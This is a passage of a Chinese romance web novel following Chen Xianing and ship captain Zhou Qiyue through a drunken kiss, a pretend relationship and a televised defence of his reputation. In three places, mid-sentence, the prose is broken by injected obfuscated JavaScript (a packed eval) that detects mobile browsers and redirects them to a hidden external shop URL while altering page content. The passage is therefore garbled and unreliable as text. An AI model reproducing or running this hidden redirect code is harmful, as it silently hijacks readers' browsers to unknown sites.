刚踏出一步,整个往下倒时,忽地,两只宽大的手掌落在腰肢,她随之扑在男人怀中。 周祈越穿着蓝衬衫黑裤子,领口敞开着。 陈夏柠167的身高,发顶抵在他下颚,唇角抵在他颈窝。 冲击力很小,不疼。 准确的说,她好像...亲到了什么僵硬的东西。 下一刻,她反应过来。 她亲到了他的锁骨。 36. 对象 俩人维持着这个姿势,背景虚化,世界静得似乎只剩他们俩,每一帧画面缓慢又清晰。 周祈越搭在她腰部的指尖微微颤抖,缓缓垂眼,下颌收紧,吞咽了下。 而陈夏柠不太能分得清这是现实和幻觉。 她怎么能刚好扑到他怀里了呢? 而且还亲到了他。 亲、到、了、他。 如此抓马的桥段,这一定是在做梦。 也只能是个梦,否则将会彻底坐实她女流氓的称号,那从此以后颜面也就荡然无存了。 感受到男人起伏不定的胸腔,陈夏柠思绪模糊着,双手撑着他肩膀,嘴唇离开他的皮肤。她抬起头的瞬间,腰上的力度也褪去。 周祈越的眸光更好看了,像星星闪烁,他挑着眉似笑非笑地打量她。 距离近乎到可以感受他的呼吸声,带着灼热的触感,似有若无地喷洒下来。 陈夏柠嘿嘿一笑,这个梦还挺真实啊。 周祈越动了动唇,正要开口。 陈夏柠已经能预测到他想说什么了。 他肯定又要扮演起受害者,控诉她占便宜,谴责她的行为。 平时只能哑巴吃黄连有苦说不出,现在在梦里还能被他欺负了? 陈夏柠及时抢占先机,食指抵在他嘴唇中间位置。 她露出轻浮的笑,理直气壮地当个女流氓:“我就占你便宜怎么了!” “......” 周祈越神色讶然,着实被这发言惊到了。 许是平日在他这吃了太多哑巴亏,现在倒是趁着酒劲儿本性大露。 陈夏柠学着他那股嚣张劲,欣赏着他的盛世容颜,边轻狂道:“谁让你长得这么帅,多看一会儿怎么了,别这么小气啊。” 说话间,她揪住他的衣领往下扯,周祈越伏低身体配合着她,全程唇角的弧度未收。 今晚的夜色很美,月亮和星星一同悬挂夜幕,晚风悄无声息地变强烈。 须臾,他好声好气地问:“看够了没?外面冷,回家再看。” “没。” 刚吐出这个字,陈夏柠大脑糊成浆糊又极为沉重,完全不能思考,疲倦地闭眼,身体往下瘫软。 周祈越悬空在外的手重新落到她纤细的腰肢,将人打横抱起来,锁好车,转身走向楼栋。 乘上电梯,陈夏柠躺在他怀里还在呓语着:“再来,我肯定能赢你们,我酒量挺好的。” “......” 周祈越低头扫了眼她,无奈哂笑:“我要是再信你,我就是狗。每次喝醉就知道逞强。” “......” 叮—— 电梯门开,周祈越收紧手臂的力度,正要走出去,跟进来的人打了个照面。 是这栋楼的住户,刘阿姨,之所以认识她,是因为她担任居委会的主任。平日小区有什么活动和民意调查都是她在搞,所以这里的住户她都眼熟。 刘阿姨视线很快落到他怀中的姑娘,站在门口愣了下:“小周,你这是?” “她喝醉了。”碰见刘阿姨,周祈越也有点无措,为了让自己的行为更加妥当,补充道:“我女朋友。” 刘阿姨恍然大悟地点着头,给他让道,顺带瞄了眼怀中的姑娘,在电梯门关上前,笑着说:“总算有对象了,你条件这么优秀一直单着,快成我们社区的大龄剩男了。” “......” 周祈越挤出一抹笑意,电梯门一关,脸色立马翻书一样沉下来。 他年龄也不大吧,27岁就成为大龄剩男了? 周祈越其实比朋友们小一岁,因为他小时候跳过级,17岁上大学。 陈夏柠睡得特别死,这公寓是密码锁,周祈越也不知道她家密码,只能回对门1301自己家。 周祈越把她放到客厅沙发,去卧室找了件毯子给她盖上,将客厅的空调温度调至26度。 他的衬衫也脏了,自己回卧室拿好睡衣去洗漱间。 洗完澡出来,晚饭喝了太多柠檬汁,现在口中还是一股酸味,他在冰箱搜罗了两瓶苏打水,放到客厅茶几上。 他搬了个凳子坐在陈夏柠身边,女人脸颊微红,她的眼睛本就是月牙眼,眼角微微下弯。 她现在安静老实地睡着,倒也有种反萌差,尤其和方才发酒疯的样子,形成强烈对比。 周祈越拧开瓶盖,仰头喝水,喉结翻滚。 客厅里静寂得只剩下他吞咽的声音。 当世界开始静下来时,人就会褪去那些外壳,窥见内心深处另一个自己。 周祈越喝水的速度变慢,想起晚饭时听见“江逸风”三字,自己的反应。 有些事情是逃不了的,陈夏柠和江逸风还会遇见。 想到这点,他莫名有点害怕和担忧。 可是她也说过了,不会再喜欢江逸风了。 场景又转回,他被汤汁溅到,陈夏柠的本能反应,分明是担心和在意的。 以及刚刚她醉酒所做的举动,到底作不作数。 周祈越脑海闪回很多他们相处的场景,思绪乱七八糟。 他捏着瓶身,扭头看向身边人,眼底晦涩不明:“柠柠,你有没有喜欢我——” “哪怕一点点。” “......” - 次日,太阳光线四射,透过落地窗照亮整间客厅。 陈夏柠动了动眼睫,彻底被吵醒是耳边的电话声,嗡嗡个不停。她微眯着眼睛,循着声音,伸手摸到茶几上的手机。 点击接通,等着对面说话。 “周祈越先生您好,我是中国银行的工作人员,这边查询到你最近通过银行转账向微博支付了十万元人民币,被我行确认为风险交易,请问是您本人的操作吗?” 陈夏柠迷迷瞪瞪地睁开眼,拿开手机,偏头一看,不是她的手机。 陈夏柠猛地坐起身,扫视了下四周的环境,沙发、电视、客厅、阳台的吊椅都不是她家。 她抬手抓了下头发,大脑严重短路。 通话还在继续:“周祈越先生,您在听吗?” 忽地,手机的主人穿着家居服走过来,深色平平地扫了眼她,从她手中拽过手机,去阳台通话。 陈夏柠发蒙了几秒,垂眼瞅了瞅自己,衣服穿得好好的,连帆布鞋都没脱。 跟昨天去聚会的装扮一样。 她松了口气。 很快,周祈越打完电话折回来,耷拉着眼皮,俯视她:“挺能睡得啊,都日上三竿了。” 陈夏柠瞠目结舌地问:“我怎么会在你家客厅睡着?” “不然呢。”周祈越坐她旁边,将茶几上的菠萝汁拧开递给她,眉梢微扬,“你还想睡我床上啊?” “......” 陈夏柠一噎,双手捧着玻璃瓶小口抿着菠萝汁,不好的预感来临。 周祈越眸色幽深,视线落在她身上,旁敲侧击道:“还记得昨晚你喝醉酒的所、做、所、为么?” 陈夏柠指尖一颤,电光火石间,脑海闪过许多画面,整个仿若石化成一尊雕塑,规规整整地坐在沙发上。 周祈越:“看来你已经想起来了。” “没有!”陈雕塑被施了魔法,头快要成拨浪鼓,“我什么都不记得了!不记得了!” “哦。”周祈越手掌按着软垫,欠身靠过来,气息喷洒在她耳廓,嗓音低沉,“要不我帮你回忆回忆?” “......” 他这声音蛊惑又勾人,像汹涌的海风顺着耳朵钻进身体每一处,令她血液高涨。 此时此刻,陈夏柠的记忆碎片却格外清晰昨晚那个吻。 他妈竟然不是梦?! 卧槽! 卧槽! 这回真要完了。 不行,她要背弃唯物论了。 本着只要我不承认,就没发生过的唯心论,陈夏柠强装镇定,悠悠地站起身,伸了个懒腰:“我头还疼着,一身酒味,先回家洗澡了。” “谢谢你的收留。” 背对着他,快速说完这句,她几乎是仓皇而逃。 家里的门锁密码她从未换过,还是向舒留下的那个0422,陈夏柠拉门而入,靠着门板大喘气。 进入浴室洗热水澡,思绪渐渐镇定下来,她似乎又想起了更多信息。 ——她拽着周祈越的衣领。 ——“我就占你便宜怎么了!” ——“谁让你长得这么帅,多看一会儿怎么了,别这么小气啊。” 天哪! 天哪! 她到底干了什么。 想死的心都有了。 还好今天周六不上班,要不然陈夏柠会在办公室里尖叫起来,洗完澡钻进被窝,完全把自己与外面的世界隔绝开来。 也不知过了多久,肚子饿得咕咕叫,她才肯爬起来去厨房里。不想做什么复杂的东西,她撕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085846|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两包方便面,找好青菜鸡蛋和西红柿,五分钟后,热腾腾的方便面就出炉了。 陈夏柠端着碗去客厅坐着,边吃面边叹气,等填饱了肚子,算是有点勇气打开手机,微信弹窗第一条就是周祈越的消息。 July:【算账这种事,我不着急,给你两天缓冲的时间。】 陈夏柠隔着屏幕就尴尬到脚指头扣出三室一厅了,心如死灰地闭了下眼:【既然不着急,那就三天吧。】 周祈越发来语音,呵笑了声,语气玩味:“你当买菜呢,还给我讨价还价。” Lemon:【那个我记忆力不太好,每次喝酒断片都得好几天才能想起来呢,如果做了什么冒犯的事,你千万别放心上,也别跟我计较。】 周祈越急了:“那行,我帮你。” 陈夏柠:“?” 下一刻,门口响起铃声,绵绵不断地,和他本人一样着急。 周祈越是真不打算让这事被糊弄过去,非要讨个说法了。 陈夏柠犹疑了一小会儿,整理好情绪,拉开门把手。 周祈越长身鹤立地站着,单手抄兜,一张玩世不恭的脸写着“我来找你对峙”六个大字,举起手机屏幕的照片:“这就是证据。” 陈夏柠抬眼看去,他拍了自己的锁骨照片,上面还印刻着一个口红印。 为了情景复刻帮她回忆,他又穿了件蓝色衬衫,领口敞开着。 周祈越继续点着她说:“你亲的。” “......” 陈夏柠咬了下唇,深知自己理亏,但也觉得他这人无耻,像是早就笃定她会耍赖,竟然提前拍好照片。 “我想起来了。”她坦然接受事实,“是我干的。我昨晚喝醉了,也不知怎么扑到你怀里了,然后就亲到——” 说话间,视线往上挪,定到他锁骨那里,这么一看,还挺性感。 “说吧,你想怎么解决这事。”周祈越收好手机揣兜里,意味不明地审视她,“喝醉酒也不能随便占人便宜,总得为自己的行为负责。我这一世的清白就这么被你毁了,以后还怎么找对象。” “不会的,我绝对会守口如瓶。”陈夏柠举起手发誓,目光真诚道,“不影响你找对象。” 周祈越依旧虎视眈眈地盯着她。 陈夏柠眼神飘忽,补了句:“或者,以后我帮你介绍对象也行。” “......” 周祈越瞳孔放大,好气又好笑,一时无言。 陈夏柠挠了挠头,细想昨晚的情景:“我好像记得自己一下车快要倒下来着,是发生了什么让我扑到你怀里了?” “陈夏柠。”他倏然喊她,转移话题道:“昨晚我抱你回来被人看到了。” “谁啊?” “刘阿姨。”周祈越说,“住在我们楼上的那个居委会的主任。” 陈夏柠眨了下眼,她刚搬来不久还不熟悉这里的邻居,“不认识。” “......这不是重点。”周祈越轻咳了下,“就是最近网络上不是有怀疑我政治立场的谣传么,所以有人在暗地调查我。” “啊?”陈夏柠怔懵了三秒,“凌极号的调查组?” 也的确有此事,周祈越前几天就感觉有人跟踪他,以为是自己的错觉,不曾想今早下楼去超市,路过小区公园撞见刘阿姨被一个西装革履的男人拉着谈话。 那人的西服上有海洋局的标识,周祈越隐隐约约听见他们的谈话涉及到自己。 凌极号算是海洋局和公司合作的科考船,公司可以随意辞掉一名船长,但海洋局不得不考虑外界的舆论,排除一切可能。 既然要调查他,肯定要从他的生活入手,找到了居委会主任。 “嗯。”周祈越一本正经地说,“邻里邻居的风评对我很重要,所以昨晚刘阿姨看到那个场面,我就只能说,你是我女朋友了。” 陈夏柠脑袋嗡了一声,只停留在“女朋友”三字,沉默了一会儿,也觉得这种说法没问题。 “按照当时的场景,也确实找不到更好的方案了。” “就当是为了还我人情。”周祈越目光灼灼地看她,“跟我扮演男女朋友,在刘阿姨面前。” 事关他政治立场调查,陈夏柠自然拎得起轻重,点头:“没问题。” “但你亲我这事,没完。”周祈越表情涣散,抱着胳膊,傲娇地像个债主,“你最好想个我能接受的法子。” 陈夏柠:“......” 37. 土豪 一直以来,陈夏柠都觉得自己的生活平淡且无聊,是站在人群中也不会被注意到的存在。 好像自从遇见周祈越,什么稀奇古怪的事都降临到她头上了。 从前不会做的事,也稀里糊涂地做了。 她从不会喝酒失礼,尤其是在异性面前。 原本没什么异性朋友,如今不仅和他成为朋友,还成为了邻居。 在昨晚她一系列占便宜——摸他手,扑到他怀里,还亲了他。 以及,他抱着她回家,被刘阿姨撞见。 无形之中他们都做了不合理的行为,似乎要将普通朋友的界限打破。 因为从前没有遇到过这种事,也不知该怎么处理。 陈夏柠摸不着头脑,心里也乱糟糟的。原本想约许佳念喝咖啡聊聊天,但她那工作周末经常出差,许佳念只说有事等她回来讲。 在这城市她也没什么朋友,周末在家刷剧洗洗脑,烦心事就抛之脑后了。 周日下午工作群里有消息弹出来,书记在安排新一周的工作。宅了一天半,冰箱都空了,陈夏柠换好正装出门,暗想着千万不要碰见周祈越和刘阿姨。 然而刚拉开家门,差不多隔了五六米的距离,周祈越正站在电梯口低头看手机,许是听到了开门动静声,他扭头看过来。 俩人目光隔空相撞,陈夏柠退回家门的脚步又伸了出去,总不能让他觉得她在躲他。 谁心虚谁心里有鬼。 陈夏柠坦然走过去,停在他旁边。 他踹好手机,神色自然,瞧她一眼,“干什么去?” 陈夏柠没正眼看他,声线有些颤抖:“家里没菜了,去超市。” “刚好我也去。” 话音落,电梯门开,周祈越朝她点点下巴:“走吧。” 陈夏柠后脚跟进去,俩人同一动作下意识按一楼按钮,也不知谁的速度更快,结果是她的掌心搭在了他手背。 顷刻间,她能感受到脊背被男人宽阔的胸膛包裹着,只要她往后退一步,就会再次撞进他怀里。 陈夏柠屏住呼吸,移开自己的手,浑身僵在原地,充当一位被动者等待放过。 周祈越就着这个动作,处变不惊地点击两个按钮,电梯门一关,他才肯后退拉开距离。 陈夏柠站在他斜前方,算是电梯内最远的安全距离,讷讷道:“我刚才不是故意的。” 周祈越也听懂她指的摸他手,习以为常地:“又不是第一次。” “......”陈夏柠耳朵一热。 周祈越继续闲散道:“哦,前天你是故意的,摸得有滋有味。” “......” 陈夏柠快要变成热气炉了,握紧拳头,原地自我降温。 很快,电梯抵达一楼,门开,一位体型微胖身着正装的中年妇女,扫了眼他两,眉开眼笑:“小情侣要去哪啊?” 周祈越走上前,热情招呼:“刘阿姨好,我们去逛超市。” 陈夏柠眨了眨眼,内心像是经历了火山爆发。 这该死的墨菲定律! 你越不想碰见谁,就一定会碰见谁。 还没等她缓过来。 下一刻,周祈越的手顺势勾住她手指,牵着她走出电梯,边颔首说:“阿姨我们先走了。” “去吧去吧。”身后响起刘阿姨乐呵呵的笑声,“郎才女貌,真配啊。” “......” 陈夏柠哽咽了下,视线落在自己右手,被轻轻地虚握着。 他手掌宽厚温热,指尖带了点粗茧,摩挲在她指关节,痒痒的触感,像浮在心尖的羽毛,似有若无地挠着她。 过了十几秒,走出楼栋,周祈越松开她的手,回头看了眼她,没什么情绪地说:“就当你又还了我一个人情。” 陈夏柠虚空的手无措地揉了下衣角,小声咕哝:“我都不知道自己到底欠你多少人情了。” “我记得就行。”周祈越回过身,抬手敲了下她脑门,“你方才的演技很差,全靠我撑起全场。” “......” 陈夏柠抬手摸了摸被他敲过的地方,心里无端产生一种,以前有人总爱敲她脑门的错觉。 周祈越问:“你去哪个超市?” “等下,我看看。”陈夏柠昨天抢了一张消费券,在手机上浏览着适用门店,附近就有一家。 五分钟走路过去。 陈夏柠先是到果蔬区买了些蔬菜水果,因为自己的消费劵是满一百减五十,她在心里盘算着凑够数,小推车装得够满。周祈越只买了一小袋大米,排在她后面。 收银员轻点完她的商品,屏幕上显示91元。 好吧,还是算错了。 后面的队伍排的挺长,她也不好意思耽误别人时间,回头看了眼周祈越,随后抱起他的大米,一并结账。 周祈越看到她的付款页面65元,左手拎着她的一大袋,右手拿着手机,啧啧称奇道:“这玩意还真有用?” 东西都被他拿完了,陈夏柠躬身抱着他那小袋大米,无意间瞥见他的屏幕,“你怎么会有这么多消费券?” “这还用抢?”周祈越边往外走边说,“我想要多少就有多少。” 这次消费劵是上远集团联合政府一同发布的,面向的是从事航运业的工作人员,也是工作群里书记转发链接,她才抢到小额度。 “哦,我懂了。”陈夏柠说,“你们船长有内部绿色通道。” 周祈越悠悠道:“那我的绿色通道可大着呢。” 上远集团作为国内最顶尖的航运公司,今年在办周年庆,这种消费券连发好几次了,折扣力度真的很大。最大额度是满五百减三百,很不好抢。 如果方才没有看错,周祈越手里就有那张。 陈夏柠眨巴眨巴眼,笑嘻嘻道:“那以后再发消费券,你要不考虑给你的邻居一个绿色通道。” “你要是想要。”周祈越偏头看她,轻笑了下,“以后逛超市得叫上我才行。” “嗯?” “因为我不需要这些消费劵。”周祈越一副我不占这个便宜的模样,豪气道,“可以给你这位,邻居。” “行啊。”陈夏柠狂点头,傻子才不要。 周祈越不是傻子,就是特别土豪,从他穿的名牌衣服以及那辆豪车就可以感受到了。 想到这,陈夏柠又想到前天接错他电话,获知他有一笔十万元支出的事。 是干什么开着? 到了家门口,她回忆起来,那个银行客服说是微博。 周祈越拎着她买的菜,走到她家门口,“先把你的东西放进去,然后去我家打下手。” 陈夏柠输入房门密码,“去你家?” “还欠你一顿咖喱饭。”周祈越等她把菜放到玄关桌上出来,说:“你怎么没一点安全意识?” 陈夏柠啊了声,猛地意识到自己当着他的面输入密码了。 她也说不上来,跟他待在一起,就有一种本能地信任他的感觉。 像是信息对等交换,周祈越也当着她的面输入自己家的密码,0711,他的生日。 她也感受到了被信任的感觉。 这算是第三次来他家,前两次就直接穿着鞋子进来了,因为独居生活,家里的确没有备用鞋子,她也一样。 这次一进门,周祈越从鞋柜里拿出一双灰色的新拖鞋,陈夏柠换好后,抬眼看了下他。 周祈越不咸不淡道:“商家发错尺码了,我懒得退。” 陈夏柠跟着他进屋,嗯了一声,她穿着刚好合脚。 说是让她来打下手,周祈越只让她把米袋拆开,就没让她进厨房了。 “你想喝什么自己拿,随便坐。”他随口说着,让她不用拘束的意思。 陈夏柠倒也没跟他客气,打开冰箱,非常丰富的饮料组合。在他推荐下,她喜欢上了菠萝汁。 陈夏柠拿着一瓶菠萝汁往客厅走,口袋里的手机震动了下,她接通电话。 王书记问:“陈老师,朝阳岛的支教志愿者筛选得怎么样了?” 陈夏柠坐在沙发上说:“青年志愿团组织那边已经组织了初步笔试,后天会组织一场面试,最终结果会结合两次成绩。” “很好,”王书记颇为满意地说,“这次支教项目备受瞩目,电视台的记者都要来采访了,我刚把你的微信推给她了,你们约时间啊。” 通完电话,陈夏柠点开微博又看了眼学校官博的宣传视频,点赞评论量已经破百万了。 难道又有人充钱了? 陈夏柠端起的菠萝汁磕到桌面,扭头看向厨房的背影,起身走过去。 周祈越忙活完从厨房出来,跟她打个照面:“怎么?” 陈夏柠举着宣传视频给他看,实在想不出还有谁有能力且愿意给这个视频花钱,况且他最近本来就有十万元的支出,问:“你到底充了多少钱啊,这件事的关注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【对对对,这船长人品怎么样,能摆脱他是间谍的事吗?】 【政治思想这块,要严查!】 ...... 陈夏柠不理解这些人怎么想的,为什么要把脏水推到周祈越身上,完全忽略他在危难时刻的大局意识。 换个角度来说,她之所以相信周祈越是因为她了解他的为人。 虽然表面自以为是,骄傲嘴毒。 实则他真诚对待身边的每一个人,对待老人小孩的爱心,以及为宣传朝阳岛所做的付出,陈夏柠有目共睹。 可是那些网友不知道啊...... 想到这,陈夏柠沉默了一会儿,点开俩人的聊天框。 Lemon:【我想做一件事,提前征得你的同意。】 发完这句,陈夏柠盯着屏幕耐心等他的回复,就在这时,隔壁桌的鹿雯入座,偏头看她,“在跟你男朋友发消息呢?” 陈夏柠被这话呛了下,视线移开手机屏幕,说:“我哪有男朋友啊,单身狗一个。” 鹿雯话里有话:“估计也快了吧。” 陈夏柠摇头说“没”,周祈越的消息恰好弹出来,言简意赅:【说[吃瓜]】 她低头敲字“我想侵犯你......” 与此同时,鹿雯滚椅一滑靠过来,忽然抓住她的手臂。陈夏柠注意力被切割,惊了一下,抬眼看她。 “谢泽都跟我说了,周祈越那种冰山男压根就没见他有什么异性朋友,他唯独跟你当朋友,这说明什么。”鹿雯瞅着她迷惑的眼神,语气着急了起来,“这说明他在采取缓兵之计,真正的目的是想当你男朋友。” 陈夏柠眨了眨眼,莫名有些慌张:“你们别乱猜了,他就是把我当成朋友。” “没乱猜!”鹿雯重申道,“当时谢泽听到你俩是朋友就觉得有猫腻了,绝对不是朋友这么简单,你把他当朋友,周祈越可不一定这么认为。你要相信谢泽对他多年的了解。” 陈夏柠怔懵了几秒。 直到手机消息震动声弹出来,她挪过视线到屏幕。 Lemon:【我想侵犯你】 July:【哦,怎么侵犯?】 July:【需不需要我半夜给你留个门。】 什!么!鬼?! 卧槽! 她怎么把信息发出了?! 一瞬间陈夏柠涨红了脸,扫了眼回归原位的鹿雯:“你真的害惨我了。” “啊?”鹿雯迷迷瞪瞪的。 也没意识到自己拉陈夏柠的动作,让她误触屏幕,把未编辑完的信息点击发送了。 陈夏柠忍住崩溃的心,引用自己的信息硬生生解释:【我是想说,我想侵犯你的肖像权。】 38. 赤诚之心 “亲爱的观众朋友,大家下午好,我是来海云市电视台记者楚琳,我们正位于中国海事大学大礼堂门口,近期火爆全网的支教视频就是来自该校,接下来让我们一起走进支教志愿者选拔现场吧。” 随着楚琳的一番生动介绍,摄像机大叔默契地将镜头转向身后有序入场的学生。 按照事先排练,参与面试的学生先在阶梯礼堂入座等候,再按照名单分组,由学生干部引导进入隔壁教室分别面试。 楚琳带着摄影师绕了一圈,拍摄完现场取景,假装与陈夏柠偶遇,现场拉她做采访。 三人选在外场大厅,人流量较少的地方。 毕竟是现场直播,起初陈夏柠不免有些紧张,但看见面前从容活泼,笑容明媚的楚琳,她也自动融入氛围了。 楚琳将话筒对准她,镜头也转过来:“陈老师可以介绍一下你们志愿者选拔的流程吗?” 陈夏柠身着白色休闲西服,一板一眼地回:“三天前我们已经组织了笔试,主要考察支教方面的常识和心理测试,今天的面试考察志愿者的课堂应变能力。 因为人数比较多,我们采取三间教室同时面试,有两名导员和三名学生干事组成面试官,最终的录用结果按照初复试成绩排名。” “哇哦,听起来好严苛啊。”楚琳接话茬笑了笑,转问:“那你们是如何调动这么多学生踊跃报名呢?或者被录用的志愿者有什么奖励吗?” “主要是朝阳岛宣传视频的关注度吸引了有爱心的学生参与,”陈夏柠说,“至于奖励,支教活动会给他们加课外实践分,此外每周末或者假期前去支教的学生由我们的校车全程接送,每个月会有津贴补助。” 问完常规问题,楚琳开始对她进行个人采访:“据我了解,宣传视频的拍摄者就是陈老师本人,也是你暑假主动申请去朝阳岛支教。如今你的贡献让更多人关注到岛屿留守儿童和空巢老人问题,可以谈一谈你的感触吗?” 这是最后一个问题,陈夏柠看了看镜头,又瞧了瞧等她回答问题的记者,十秒之内极为忐忑和挣扎。 按理说她只需要念原本的台词就行了,可她终究无法战胜内心的良知。 “拍摄宣传视频我只尽到了一点绵薄之力,在朝阳岛支教的生活,我应该感谢一个人,是他的努力促成了今天的成就。” 陈夏柠正视镜头,目光坚定,整个人的气场随之膨胀,“如果没有他的帮助,我的支教工作可能会一塌糊涂。” 意识到台词不一样,楚琳随机应变,举起话筒追问:“陈老师这次支教还有一位同事对吗?怎么不见他露面啊?” “对,他不是我们学校的老师,”陈夏柠引以为傲地介绍,“而是我们的优秀校友,周祈越船长。” 这个名字对于网上冲浪的人来说并不陌生,楚琳跟挖掘到什么重大新闻似的,兴味盎然地确认:“您说的是凌极号的船长周祈越?” 陈夏柠毫不畏惧地点头:“今年七月我去朝阳岛支教遇见了周船长,他也成为了希望小学的老师。就是在他的鼓励下,我才认认真真地拍摄了支教vlog,准确的说,目前网络上爆火的视频是他的杰作。” 摄影师打手势提醒直播间人数激增,楚琳趁机抓住流量密码,循循善诱道:“可,周祈越船长暑假不是去南极科考了吗,凌极号事件......而且他怎么会在朝阳岛?” 陈夏柠挺意外楚琳这么配合她,气定神闲地交待:“他在朝阳岛一位亲戚家休假,有缘认识了希望小学的校长,就加入我们的支教了。 后续他离开的很突然,说是去航海,身为同事的我后来才知道,他就是凌极号的船长。” 楚琳索性打开手机实时观看直播间的评论,有不少人质疑陈夏柠的发言,她传达网友的质疑:“那陈老师有证据吗?” “有啊,今年7月11日学校官博就发过一条庆祝航海日的义讲视频,由于我是主讲人,分给周祈越的镜头不多,但仔细看到最后也可以找到他。” 陈夏柠有条不紊地说,“而且我手里也有很多未发出的毛片,皆可以证明周祈越是我的同事。” 另一边,周祈越正在书房专注画着船舶设计图,手机消息声弹了三次他也没在意。 直到电话连环call,他这才不耐地接通:“打扰你爹画图干嘛?” 谢泽呵呵一笑,冷嘲热讽:“你还真是活爹,人家姑娘为你冲锋陷阵,你还有心情画图。” “什么玩意儿,”周祈越莫名其妙道,“能不能好好说话?” “是你先不好好说话的!就你这臭脾气活该一直单身。”谢泽挂断前甩下一句,“快看直播!” 直播间的观看人数已经高达十万,评论刷的极快。 【这女老师故意帮周祈越说话的吧?】 【拜托,周祈越是海大的校友,自家人不都帮着自家人说话吗?】 【我找到7月11日的义讲视频了,最后的确有位长得很帅的男人,不过不是正脸,话说周祈越本人长什么样来着。】 ...... 与此同时,楚琳发问:“看来陈老师很相信周船长啊。” “啪”的一声,手中的铅笔掉落在地板,周祈越眼底清明,双手捧着手机,视线紧紧落在屏幕中某个人身上。 “实事求是,也是我们海大的校训。”陈夏柠眼角弯了弯,好整以暇地说,“我只是在阐述一个事实,把我所认识的周船长告诉大家。 他拥有一颗赤诚之心,善待身边的每一个人。” 在船队遇难时愿意舍弃自己的安危,也不是每个人都拥有这份勇气。” 周祈越勾着唇,抓起椅背的外套,走出了书房。正在玄关换鞋时,直播间又有轰动事件。 【卧槽!大家快去海大的官方微博!】 【海大官博发视频了!】 ...... 采访结束后,陈夏柠也没闲着,转去礼堂内帮忙组织面试。 折腾了两个小时,卡着放学时间点,所有同学皆面试完毕。面试官们正忙不停蹄地统计成绩。 青年志愿团的会长催着她下班:“陈老师,你别忙活了,这有我们就够了。” 陈夏柠也没客气,跟学生打好招呼,朝外面走,边打开微博看了眼海大官博的最新动态。 @中国海事大学 【来自校友周祈越船长的支教vlog[捧场][捧场]】 [视频7:11分] 点赞量正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130236|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴增中,底下的评论已经反转了。 【我靠!这个男人为什么这么帅!!!】 【证据已经摆出来了,你们这些喷子能不能闭嘴[微笑]要是救人也被骂,以后遇到危险,船长就别管乘客,自己逃生吧。】 【谁敢怀疑他,我跟谁拼命!好帅的船长啊啊啊。】 陈夏柠轻笑了下,收回视线。 刚好走到大礼堂门口,她收好手机,一抬头瞧见,周祈越单手插兜,半倚在石柱上,正对着她这个方向。 他的西装外套敞开着,一身黑色衬得他锋芒毕露,凌厉的气质外露,但此刻他的眼睛弯着,唇角也噙着笑意。 陈夏柠笃定他看了新闻,坦然走过去,先开口:“我带你去感谢一个人。” - 秋日的傍晚来的早些,书记办公室门口,陈夏柠站在走廊望着昏暗的夕阳,边听着里面的谈话声。 “行了,别感谢了。”王书记拍了拍周祈越的肩膀,“乘坐凌极号的李教官和林教授都非常相信你,我们开会协商了下,大家愿意为你发声。你还要感谢一下陈老师的视频啊。” 陈夏柠是个喜欢记录回忆的人,在朝阳岛拍的零零散散的视频和照片都保存的很好。 昨晚她在百度网盘里搜罗出,许多带有周祈越镜头的视频,经过她一番剪辑,拼凑出一个完整的、独属于他的支教vlog。 但是想要学校官博发出这个视频就意味着,海大要承担所有舆论压力力挺他。陈夏柠心里也没谱,最先跟王书记说了这件事。 挺巧的是,书记挺乐意帮这个忙,今早上报学校提议。 没想到在她接受采访时,海大的官博就瞄准时机发声了。 事情顺利得,都让她不可思议。 “无论怎样,非常感谢诸位老师对我的信任,”周祈越礼貌颔首,以表谢意,“今天来的比较唐突,什么都没带,改日定当亲自拜访。” 王书记笑呵呵地:“哎呀你这孩子,别客气了。母校以你为荣,你有难,自然会为你出面。” 闻言,陈夏柠跟着高兴,发自内心地羡慕周祈越。 他得是有多受欢迎,才能让老师说出这种话。 过了一小会儿,两人的谈话结束,周祈越走出来喊她:“走吧,大恩人。” 陈夏柠眨了下眼,身后那双无形的翅膀开始扑腾。 这种感觉就是,她一下子在他面前支棱起来了。 两人一起乘电梯下楼。 她挺直腰板,学着他平日的洋洋得意,轻咳了声:“我这回可是以实际行动,还了你一个大人情。” “嗯。”周祈越扯了扯唇角,瞬间将她的骄傲比下去,“看在你把我夸得天花乱坠,快成我小迷妹的份上,一笔勾销了你欠的三个人情。” “......”陈夏柠茫然:“那还差几个?” “一个。” “哪个?” 他抬眼,指着自己的锁骨说:“你亲我这个。” “......” 电梯门开,周祈越抬脚走出去。 陈夏柠实在想不出怎么还他这个人情了,干脆破罐子破摔,跟在他后面出声。 “要不,我让你亲回来?” 39. 反客为主 下了电梯右拐两步就是一楼大厅,东西两侧安装了互通的玻璃门,映射出落日的斑斑点点。 周祈越脚步一顿,蛮意外她这句话。他今天心情不错,唇角一直挂着弧度。 按照以前,陈夏柠绝不会说出如此轻浮暧昧的话,但和周祈越相处时间久了,也无所谓了。 反正他这人经常厚颜无耻,也早就把她当成女流氓。 面对周祈越,她总归是不一样的。 抑或者她能随性地表露真实的自我。 地面上狭长的身形一动,猛然将她的影子包裹住,陈夏柠无端感受到来自他灼热又有压迫的气息,心跳往上提,怯生生往后退。 